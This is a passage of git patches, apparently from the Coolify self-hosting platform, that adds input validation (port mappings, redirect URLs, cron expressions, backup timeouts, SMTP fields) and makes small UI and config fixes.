@@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'postgresUser.required' => 'The Postgres User field is required.', @@ -456,6 +457,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index ebe2f3ba0..a1a22ab8b 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -73,7 +73,7 @@ protected function rules(): array 'description' => ValidationPatterns::descriptionRules(), 'redisConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -89,6 +89,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', @@ -201,6 +202,9 @@ public function submit() try { $this->authorize('manageEnvironment', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } $this->syncData(true); if (version_compare($this->redisVersion, '6.0', '>=')) { diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 7084b4cc2..5d53076ea 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -194,6 +194,12 @@ public static function volumeNameMessages(string $field = 'name'): array ]; } + /** + * Pattern for port mappings (e.g. 3000:3000, 8080:80, 8000-8010:8000-8010) + * Each entry requires host:container format, where each side can be a number or a range (number-number) + */ + public const PORT_MAPPINGS_PATTERN = '/^(\d+(-\d+)?:\d+(-\d+)?)(,\d+(-\d+)?:\d+(-\d+)?)*$/'; + /** * Get validation rules for container name fields */ @@ -202,6 +208,24 @@ public static function containerNameRules(int $maxLength = 255): array return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; } + /** + * Get validation rules for port mapping fields + */ + public static function portMappingRules(): array + { + return ['nullable', 'string', 'regex:'.self::PORT_MAPPINGS_PATTERN]; + } + + /** + * Get validation messages for port mapping fields + */ + public static function portMappingMessages(string $field = 'portsMappings'): array + { + return [ + "{$field}.regex" => 'Port mappings must be a comma-separated list of port pairs or ranges (e.g. 3000:3000,8080:80,8000-8010:8000-8010).', + ]; + } + /** * Check if a string is a valid Docker container name. */ From 73258c317e3d79aefb90924d5319ddc54209eebc Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 00:34:32 +0530 Subject: [PATCH 58/95] fix(validation): add URL validation for proxy redirect input --- app/Livewire/Server/Proxy.php | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index d5f30fca0..c2d8205ef 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -6,6 +6,7 @@ use App\Actions\Proxy\SaveProxyConfiguration; use App\Enums\ProxyTypes; use App\Models\Server; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -41,9 +42,13 @@ public function getListeners() ]; } - protected $rules = [ - 'generateExactLabels' => 'required|boolean', - ]; + protected function rules() + { + return [ + 'generateExactLabels' => 'required|boolean', + 'redirectUrl' => ['nullable', new SafeExternalUrl], + ]; + } public function mount() { @@ -147,6 +152,7 @@ public function submit() { try { $this->authorize('update', $this->server); + $this->validate(); SaveProxyConfiguration::run($this->server, $this->proxySettings); $this->server->proxy->redirect_url = $this->redirectUrl; $this->server->save(); From c52a199120d2d06e2a473305734643f2bd66ead1 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 01:14:08 +0530 Subject: [PATCH 59/95] fix(validation): add input validation for server advanced settings page --- app/Http/Controllers/Api/ServersController.php | 18 +++++++++++++++++- app/Livewire/Server/Advanced.php | 16 ++++++++-------- .../views/livewire/server/advanced.blade.php | 4 ++++ 3 files changed, 29 insertions(+), 9 deletions(-) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 2ef95ce8b..930879d80 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -598,6 +598,11 @@ public function create_server(Request $request) 'is_build_server' => ['type' => 'boolean', 'description' => 'Is build server.'], 'instant_validate' => ['type' => 'boolean', 'description' => 'Instant validate.'], 'proxy_type' => ['type' => 'string', 'enum' => ['traefik', 'caddy', 'none'], 'description' => 'The proxy type.'], + 'concurrent_builds' => ['type' => 'integer', 'description' => 'Number of concurrent builds.'], + 'dynamic_timeout' => ['type' => 'integer', 'description' => 'Deployment timeout in seconds.'], + 'deployment_queue_limit' => ['type' => 'integer', 'description' => 'Maximum number of queued deployments.'], + 'server_disk_usage_notification_threshold' => ['type' => 'integer', 'description' => 'Server disk usage notification threshold (%).'], + 'server_disk_usage_check_frequency' => ['type' => 'string', 'description' => 'Cron expression for disk usage check frequency.'], ], ), ), @@ -634,7 +639,7 @@ public function create_server(Request $request) )] public function update_server(Request $request) { - $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type']; + $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type', 'concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -655,6 +660,11 @@ public function update_server(Request $request) 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', + 'concurrent_builds' => 'integer|nullable|min:1', + 'dynamic_timeout' => 'integer|nullable|min:1', + 'deployment_queue_limit' => 'integer|nullable|min:1', + 'server_disk_usage_notification_threshold' => 'integer|nullable|min:1|max:100', + 'server_disk_usage_check_frequency' => 'string|nullable', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -691,6 +701,12 @@ public function update_server(Request $request) 'is_build_server' => $request->is_build_server, ]); } + + $advancedSettings = $request->only(['concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']); + if (! empty($advancedSettings)) { + $server->settings()->update(array_filter($advancedSettings, fn ($value) => ! is_null($value))); + } + if ($request->instant_validate) { ValidateServer::dispatch($server); } diff --git a/app/Livewire/Server/Advanced.php b/app/Livewire/Server/Advanced.php index dba1b4903..0e1a9a325 100644 --- a/app/Livewire/Server/Advanced.php +++ b/app/Livewire/Server/Advanced.php @@ -15,17 +15,17 @@ class Advanced extends Component #[Validate(['string'])] public string $serverDiskUsageCheckFrequency = '0 23 * * *'; - #[Validate(['integer', 'min:1', 'max:99'])] - public int $serverDiskUsageNotificationThreshold = 50; + #[Validate(['required', 'integer', 'min:1', 'max:99'])] + public ?int $serverDiskUsageNotificationThreshold = 50; - #[Validate(['integer', 'min:1'])] - public int $concurrentBuilds = 1; + #[Validate(['required', 'integer', 'min:1'])] + public ?int $concurrentBuilds = 1; - #[Validate(['integer', 'min:1'])] - public int $dynamicTimeout = 1; + #[Validate(['required', 'integer', 'min:1'])] + public ?int $dynamicTimeout = 1; - #[Validate(['integer', 'min:1'])] - public int $deploymentQueueLimit = 25; + #[Validate(['required', 'integer', 'min:1'])] + public ?int $deploymentQueueLimit = 25; public function mount(string $server_uuid) { diff --git a/resources/views/livewire/server/advanced.blade.php b/resources/views/livewire/server/advanced.blade.php index 33086aea1..f6610c1d5 100644 --- a/resources/views/livewire/server/advanced.blade.php +++ b/resources/views/livewire/server/advanced.blade.php @@ -22,6 +22,7 @@ id="serverDiskUsageCheckFrequency" label="Disk usage check frequency" required helper="Cron expression for disk usage check frequency.
You can use every_minute, hourly, daily, weekly, monthly, yearly.

Default is every night at 11:00 PM." />
@@ -31,12 +32,15 @@

Builds

From 15a98b52c93746e54bd40812f0a9f8c0229a5457 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 01:24:08 +0530 Subject: [PATCH 60/95] fix(validation): add input validation for server_disk_usage_check_frequency on API --- app/Http/Controllers/Api/ServersController.php | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 930879d80..beba33a8c 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -702,6 +702,13 @@ public function update_server(Request $request) ]); } + if ($request->has('server_disk_usage_check_frequency') && ! validate_cron_expression($request->server_disk_usage_check_frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['server_disk_usage_check_frequency' => ['Invalid Cron / Human expression for Disk Usage Check Frequency.']], + ], 422); + } + $advancedSettings = $request->only(['concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']); if (! empty($advancedSettings)) { $server->settings()->update(array_filter($advancedSettings, fn ($value) => ! is_null($value))); From 1ebba7da3acccf7e0cb1cf740ec531637895276b Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 01:52:19 +0530 Subject: [PATCH 61/95] fix(validation): add input validation for sentinel configuration --- app/Livewire/Server/Sentinel.php | 6 +++--- resources/views/livewire/server/sentinel.blade.php | 7 ++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index dff379ae1..a4b35891b 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -25,13 +25,13 @@ class Sentinel extends Component public ?string $sentinelUpdatedAt = null; #[Validate(['required', 'integer', 'min:1'])] - public int $sentinelMetricsRefreshRateSeconds; + public int|string $sentinelMetricsRefreshRateSeconds; #[Validate(['required', 'integer', 'min:1'])] - public int $sentinelMetricsHistoryDays; + public int|string $sentinelMetricsHistoryDays; #[Validate(['required', 'integer', 'min:10'])] - public int $sentinelPushIntervalSeconds; + public int|string $sentinelPushIntervalSeconds; #[Validate(['nullable', 'url'])] public ?string $sentinelCustomUrl = null; diff --git a/resources/views/livewire/server/sentinel.blade.php b/resources/views/livewire/server/sentinel.blade.php index 4016a30e4..5ca535cbc 100644 --- a/resources/views/livewire/server/sentinel.blade.php +++ b/resources/views/livewire/server/sentinel.blade.php @@ -91,13 +91,14 @@
- - -
From 791aa10b3fed851df81192538f2aa15144eb179b Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 02:24:36 +0530 Subject: [PATCH 62/95] fix(validation): use int|string for Livewire numeric properties and remove nullable from API rules --- app/Http/Controllers/Api/ServersController.php | 10 +++++----- app/Livewire/Server/Advanced.php | 8 ++++---- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index beba33a8c..c13c6665c 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -660,11 +660,11 @@ public function update_server(Request $request) 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', - 'concurrent_builds' => 'integer|nullable|min:1', - 'dynamic_timeout' => 'integer|nullable|min:1', - 'deployment_queue_limit' => 'integer|nullable|min:1', - 'server_disk_usage_notification_threshold' => 'integer|nullable|min:1|max:100', - 'server_disk_usage_check_frequency' => 'string|nullable', + 'concurrent_builds' => 'integer|min:1', + 'dynamic_timeout' => 'integer|min:1', + 'deployment_queue_limit' => 'integer|min:1', + 'server_disk_usage_notification_threshold' => 'integer|min:1|max:100', + 'server_disk_usage_check_frequency' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); diff --git a/app/Livewire/Server/Advanced.php b/app/Livewire/Server/Advanced.php index 0e1a9a325..b39da5e5a 100644 --- a/app/Livewire/Server/Advanced.php +++ b/app/Livewire/Server/Advanced.php @@ -16,16 +16,16 @@ class Advanced extends Component public string $serverDiskUsageCheckFrequency = '0 23 * * *'; #[Validate(['required', 'integer', 'min:1', 'max:99'])] - public ?int $serverDiskUsageNotificationThreshold = 50; + public int|string $serverDiskUsageNotificationThreshold = 50; #[Validate(['required', 'integer', 'min:1'])] - public ?int $concurrentBuilds = 1; + public int|string $concurrentBuilds = 1; #[Validate(['required', 'integer', 'min:1'])] - public ?int $dynamicTimeout = 1; + public int|string $dynamicTimeout = 1; #[Validate(['required', 'integer', 'min:1'])] - public ?int $deploymentQueueLimit = 25; + public int|string $deploymentQueueLimit = 25; public function mount(string $server_uuid) { From 67f8eb929f5655a71263c99c2c05a27654a8868b Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 02:48:32 +0530 Subject: [PATCH 63/95] fix(validation): add input validation for database backup timeout --- app/Livewire/Project/Database/BackupEdit.php | 2 +- .../project/database/backup-edit.blade.php | 18 +++++++++--------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 0fff2bd03..a18022882 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -76,7 +76,7 @@ class BackupEdit extends Component public bool $dumpAll = false; #[Validate(['required', 'int', 'min:60', 'max:36000'])] - public int $timeout = 3600; + public int|string $timeout = 3600; public function mount() { diff --git a/resources/views/livewire/project/database/backup-edit.blade.php b/resources/views/livewire/project/database/backup-edit.blade.php index bb5dcfc4d..d5c25916a 100644 --- a/resources/views/livewire/project/database/backup-edit.blade.php +++ b/resources/views/livewire/project/database/backup-edit.blade.php @@ -81,10 +81,10 @@ @endif
- + - + helper="The timezone of the server where the backup is scheduled to run (if not set, the instance timezone will be used)" required /> +

Backup Retention Settings

@@ -101,13 +101,13 @@
+ helper="Keeps only the specified number of most recent backups on the server. Set to 0 for unlimited backups." required /> + helper="Automatically removes backups older than the specified number of days. Set to 0 for no time limit." required /> + helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.001 for 1MB). Set to 0 for unlimited storage." required />
@@ -117,13 +117,13 @@
+ helper="Keeps only the specified number of most recent backups on S3 storage. Set to 0 for unlimited backups." required /> + helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." required /> + helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.5 for 500MB). Set to 0 for unlimited storage." required />
@endif From 40420e33e3aa138981cbd22982dfcc7eef2d9644 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 02:53:18 +0530 Subject: [PATCH 64/95] fix(validation): add timeout validation to database backup API endpoints --- app/Http/Controllers/Api/DatabasesController.php | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 660ed4529..a73bde1ae 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -641,6 +641,7 @@ public function update_by_uuid(Request $request) 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'], 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'], + 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), ) @@ -677,7 +678,7 @@ public function update_by_uuid(Request $request) )] public function create_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -704,6 +705,7 @@ public function create_backup(Request $request) 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { @@ -878,6 +880,7 @@ public function create_backup(Request $request) 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Retention amount of the backup in s3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Retention days of the backup in s3'], 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage of the backup in S3'], + 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), ) @@ -907,7 +910,7 @@ public function create_backup(Request $request) )] public function update_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -932,6 +935,7 @@ public function update_backup(Request $request) 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { return response()->json([ From b98346f3c3ffbc14868bf4b0e7b5f1c73da81dd4 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 03:02:15 +0530 Subject: [PATCH 65/95] fix(validation): validate cron expressions in update backup API endpoint --- app/Http/Controllers/Api/DatabasesController.php | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index a73bde1ae..856649b91 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -928,7 +928,7 @@ public function update_backup(Request $request) 'dump_all' => 'boolean', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', 'databases_to_backup' => 'string|nullable', - 'frequency' => 'string|in:every_minute,hourly,daily,weekly,monthly,yearly', + 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', 'database_backup_retention_max_storage_locally' => 'integer|min:0', @@ -962,6 +962,17 @@ public function update_backup(Request $request) $this->authorize('update', $database); + // Validate frequency is a valid cron expression + if ($request->filled('frequency')) { + $isValid = validate_cron_expression($request->frequency); + if (! $isValid) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + } + if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { return response()->json([ 'message' => 'Validation failed.', From ac47040fd1bff9f52b3b55d3e4fb51eceb4d563b Mon Sep 17 00:00:00 2001 From: Maxwell <136101+mxswd@users.noreply.github.com> Date: Sun, 29 Mar 2026 14:35:48 +1000 Subject: [PATCH 66/95] Fixed typo in listmonk db config Correct db__name to db__database --- templates/compose/listmonk.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/compose/listmonk.yaml b/templates/compose/listmonk.yaml index fa73f6ff7..a204c9f74 100644 --- a/templates/compose/listmonk.yaml +++ b/templates/compose/listmonk.yaml @@ -12,7 +12,7 @@ services: - SERVICE_URL_LISTMONK_9000 - LISTMONK_app__address=0.0.0.0:9000 - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 @@ -37,7 +37,7 @@ services: condition: service_healthy environment: - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 From 1daff4e23ce9205241cc65459e2191f164404ebe Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 12:13:30 +0530 Subject: [PATCH 67/95] fix(validation): add input validation for emails configuration --- app/Livewire/Notifications/Email.php | 4 ++-- app/Livewire/SettingsEmail.php | 4 ++-- resources/views/livewire/notifications/email.blade.php | 4 ++-- resources/views/livewire/settings-email.blade.php | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/app/Livewire/Notifications/Email.php b/app/Livewire/Notifications/Email.php index 847f10765..364163ff8 100644 --- a/app/Livewire/Notifications/Email.php +++ b/app/Livewire/Notifications/Email.php @@ -42,7 +42,7 @@ class Email extends Component public ?string $smtpHost = null; #[Validate(['nullable', 'numeric', 'min:1', 'max:65535'])] - public ?int $smtpPort = null; + public ?string $smtpPort = null; #[Validate(['nullable', 'string', 'in:starttls,tls,none'])] public ?string $smtpEncryption = null; @@ -54,7 +54,7 @@ class Email extends Component public ?string $smtpPassword = null; #[Validate(['nullable', 'numeric'])] - public ?int $smtpTimeout = null; + public ?string $smtpTimeout = null; #[Validate(['boolean'])] public bool $resendEnabled = false; diff --git a/app/Livewire/SettingsEmail.php b/app/Livewire/SettingsEmail.php index ca48e9b16..8c0e24400 100644 --- a/app/Livewire/SettingsEmail.php +++ b/app/Livewire/SettingsEmail.php @@ -33,7 +33,7 @@ class SettingsEmail extends Component public ?string $smtpHost = null; #[Validate(['nullable', 'numeric', 'min:1', 'max:65535'])] - public ?int $smtpPort = null; + public ?string $smtpPort = null; #[Validate(['nullable', 'string', 'in:starttls,tls,none'])] public ?string $smtpEncryption = 'starttls'; @@ -45,7 +45,7 @@ class SettingsEmail extends Component public ?string $smtpPassword = null; #[Validate(['nullable', 'numeric'])] - public ?int $smtpTimeout = null; + public ?string $smtpTimeout = null; #[Validate(['boolean'])] public bool $resendEnabled = false; diff --git a/resources/views/livewire/notifications/email.blade.php b/resources/views/livewire/notifications/email.blade.php index 538851137..410703010 100644 --- a/resources/views/livewire/notifications/email.blade.php +++ b/resources/views/livewire/notifications/email.blade.php @@ -72,7 +72,7 @@ class="p-4 border dark:border-coolgray-300 border-neutral-200 rounded-lg flex fl
- + @@ -82,7 +82,7 @@ class="p-4 border dark:border-coolgray-300 border-neutral-200 rounded-lg flex fl
-
diff --git a/resources/views/livewire/settings-email.blade.php b/resources/views/livewire/settings-email.blade.php index c58ea189d..93abd628c 100644 --- a/resources/views/livewire/settings-email.blade.php +++ b/resources/views/livewire/settings-email.blade.php @@ -53,7 +53,7 @@ - +
From d33cd7ca71b5b49bb7943c23de2de609e9a7aa6e Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 15:27:40 +0530 Subject: [PATCH 68/95] fix(ui): keep sidebar visible on scheduled task single view --- app/Livewire/Project/Shared/ScheduledTask/Show.php | 8 +++++++- .../project/application/configuration.blade.php | 4 +++- .../livewire/project/service/configuration.blade.php | 4 +++- .../project/shared/scheduled-task/show.blade.php | 10 ---------- routes/web.php | 4 ++-- 5 files changed, 15 insertions(+), 15 deletions(-) diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index 02c13a66c..d99cd9727 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -52,9 +52,15 @@ class Show extends Component #[Locked] public string $task_uuid; - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) + public function mount() { try { + $task_uuid = request()->route('task_uuid'); + $project_uuid = request()->route('project_uuid'); + $environment_uuid = request()->route('environment_uuid'); + $application_uuid = request()->route('application_uuid'); + $service_uuid = request()->route('service_uuid'); + $this->task_uuid = $task_uuid; if ($application_uuid) { $this->type = 'application'; diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 597bfa0a4..ce1d2057c 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -42,7 +42,7 @@ @endif - str($currentRoute)->startsWith('project.application.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks Webhooks @@ -84,6 +84,8 @@ @elseif ($currentRoute === 'project.application.scheduled-tasks.show') + @elseif ($currentRoute === 'project.application.scheduled-tasks') + @elseif ($currentRoute === 'project.application.webhooks') @elseif ($currentRoute === 'project.application.preview-deployments') diff --git a/resources/views/livewire/project/service/configuration.blade.php b/resources/views/livewire/project/service/configuration.blade.php index c54c537ba..ffe80b595 100644 --- a/resources/views/livewire/project/service/configuration.blade.php +++ b/resources/views/livewire/project/service/configuration.blade.php @@ -14,7 +14,7 @@ href="{{ route('project.service.environment-variables', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Environment Variables Persistent Storages - str($currentRoute)->startsWith('project.service.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.service.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Scheduled Tasks Webhooks @@ -189,6 +189,8 @@ class="w-4 h-4 dark:text-warning text-coollabs" @endforeach @elseif ($currentRoute === 'project.service.scheduled-tasks.show') + @elseif ($currentRoute === 'project.service.scheduled-tasks') + @elseif ($currentRoute === 'project.service.webhooks') @elseif ($currentRoute === 'project.service.resource-operations') diff --git a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php index f312c0bf3..bd2d78c35 100644 --- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php +++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php @@ -1,14 +1,4 @@
- - {{ data_get_str($resource, 'name')->limit(10) }} > Scheduled Tasks | Coolify - - @if ($type === 'application') -

Scheduled Task

- - @elseif ($type === 'service') - - @endif -
diff --git a/routes/web.php b/routes/web.php index a82fcc19e..ec2c45e50 100644 --- a/routes/web.php +++ b/routes/web.php @@ -230,7 +230,7 @@ Route::get('/deployment/{deployment_uuid}', DeploymentShow::class)->name('project.application.deployment.show'); Route::get('/logs', Logs::class)->name('project.application.logs'); Route::get('/terminal', ExecuteContainerCommand::class)->name('project.application.command')->middleware('can.access.terminal'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.application.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ApplicationConfiguration::class)->name('project.application.scheduled-tasks'); }); Route::prefix('project/{project_uuid}/environment/{environment_uuid}/database/{database_uuid}')->group(function () { Route::get('/', DatabaseConfiguration::class)->name('project.database.configuration'); @@ -264,7 +264,7 @@ Route::get('/{stack_service_uuid}/backups', ServiceDatabaseBackups::class)->name('project.service.database.backups'); Route::get('/{stack_service_uuid}/import', ServiceIndex::class)->name('project.service.database.import')->middleware('can.update.resource'); Route::get('/{stack_service_uuid}', ServiceIndex::class)->name('project.service.index'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.service.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ServiceConfiguration::class)->name('project.service.scheduled-tasks'); }); Route::get('/servers', ServerIndex::class)->name('server.index'); From 1f864dc49b9fe9bcb1f16b304a0f8f1897e98faf Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 15:29:17 +0530 Subject: [PATCH 69/95] feat(ui): show task name on title for scheduled task single view --- .../views/livewire/project/shared/scheduled-task/show.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 